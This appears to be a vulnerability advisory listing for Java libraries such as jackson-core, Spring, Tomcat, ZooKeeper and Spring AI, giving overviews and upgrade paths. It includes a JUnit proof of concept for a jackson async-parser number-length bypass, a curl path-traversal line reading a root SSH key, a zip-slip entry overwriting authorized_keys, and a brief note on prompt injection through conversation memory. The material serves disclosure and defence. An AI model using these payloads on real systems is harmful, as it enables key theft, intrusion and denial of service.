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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the gRPC server instrumentation. An attacker can cause service disruption by sending specially crafted gRPC requests.

Note:

This issue is exploitable if an ObservationRegistry is configured in the application and it records observations; DefaultMeterObservationHandler is configured to output metrics from Observations or the user has a custom ObservationHandler that outputs metrics similarly to DefaultMeterObservationHandler; the application uses ObservationGrpcServerInterceptor to instrument its gRPC server.

Remediation

Upgrade io.micrometer:micrometer-core to version 1.15.12, 1.16.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the WebDAV LOCK and PROPFIND XML request bodies. An attacker can cause excessive resource consumption by sending specially crafted requests that trigger unbounded reads.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

• Apache Mailing List
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via evaluation of user-controlled Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying specially crafted SpEL expressions that trigger excessive CPU or memory consumption during expression evaluation, leading to application degradation or unavailability.

Remediation

Upgrade org.springframework:spring-expression to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch in the ZKTrustManager, when hostname verification falls back to reverse DNS (PTR) lookup after IP SAN validation fails. An attacker who can control PTR records, who is in possession of a certificate trusted by the ZKTrustManager can impersonate servers or clients.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.8.6, 3.9.5 or higher.

References

• Apache Jira Issues
• Apache Mailing List
• GitHub Commit
• OSS Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via HTTP server metrics instrumentation in Micrometer. An attacker can cause denial of service by sending specially crafted HTTP requests that trigger excessive resource consumption during metrics collection and processing. Repeated requests can degrade application performance and potentially render the service unavailable.

Note: This is only exploitable if the application has one or more HTTP server instrumentations enabled with metrics collection configured.

Remediation

Upgrade io.micrometer:micrometer-core to version 1.10.0, 1.15.12, 1.16.6 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via caching of parsed Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying crafted user-controlled SpEL expressions that trigger unbounded growth of the expression cache. Over time, repeated evaluations can consume excessive memory, eventually leading to memory exhaustion and application unavailability.

Note: Exploitation typically requires a large number of expression evaluations, potentially millions of requests, even when reusing a single expression with dynamic inputs.

Remediation

Upgrade org.springframework:spring-core to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via multipart request processing in Spring WebFlux. An attacker can cause denial of service by sending crafted multipart requests that trigger a memory leak during request processing, leading to excessive memory consumption and potentially causing the application to become unavailable.

Note: This is only exploitable if the application uses Spring WebFlux and exposes an endpoint that accepts multipart requests.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via static resource resolution when versioned resource support is enabled. An attacker can cause denial of service by sending crafted requests that trigger expensive resource resolution operations against filesystem-backed static resources. Repeated requests can consume server resources and keep HTTP connections occupied for extended periods, potentially degrading performance or rendering the application unavailable.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, serves static resources from the filesystem, and has versioned resource support enabled.

Remediation

Upgrade org.springframework:spring-webmvc to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Direct Request ('Forced Browsing') via shared caching of static resource resolutions across resource handlers. An attacker can gain unauthorized access to protected resources when a shared cache stores a resource resolution result from a publicly accessible handler and subsequently reuses it for a protected handler serving a resource with the same name. This can cause resources that should require authentication to be served without proper access control checks.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, configures multiple resource handlers with different resource locations, protects at least one handler with authentication, and uses a shared cache for resource resolution.

Remediation

Upgrade org.springframework:spring-webmvc to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Directory Traversal via static resource resolution when versioned resource support is enabled. An attacker can perform path traversal and access files outside the configured static resource locations by sending crafted requests that abuse the versioned resource resolution mechanism.

Note: This is only exploitable if the application uses Spring MVC or Spring WebFlux, serves static resources from the filesystem, has versioned resource support enabled, and the attacker knows or can guess metadata associated with targeted resources.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webmvc to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Origin Validation Error through the lack CORS checks (Host and Origin header validation) on incoming HTTP connections. An attacker can gain unauthorized access to local or private-network servers by tricking a victim into visiting a malicious website, which then issues requests to the server as if originating from a trusted source.

Workaround

This vulnerability can be mitigated by running the server behind a reverse proxy (such as Nginx or HAProxy) configured to strictly validate the Host and Origin headers, or by using a framework that enforces strict CORS and Origin validation.

Remediation

Upgrade io.modelcontextprotocol.sdk:mcp-core to version 0.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File via logging ZK configuration properties in the ZKConfig class. An attacker can obtain sensitive information and secrets by accessing client log files where configuration values are written at the INFO logging level.

Note: Logging of ZK config was introduced in 3.5.2-alpha and was gated by isDebugEnabled until version 3.6.0.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.8.6, 3.9.5 or higher.

References

• Apache Security Advisory
• GitHub Commit
• GitHub Commit
• OSS Security Advisory

Overview

org.springframework.ai:spring-ai-model is a Core model interfaces and classes for Spring AI

Affected versions of this package are vulnerable to Prompt Injection via conversation memory handling in the affected advisor. An attacker can inject crafted input in conversation memory that is later interpreted by the model as trusted context, allowing manipulation of model behavior across conversations.

Remediation

Upgrade org.springframework.ai:spring-ai-model to version 1.0.7, 1.1.6 or higher.

References

• GitHub Commit
• GitHub Commit
• Spring Security Advisory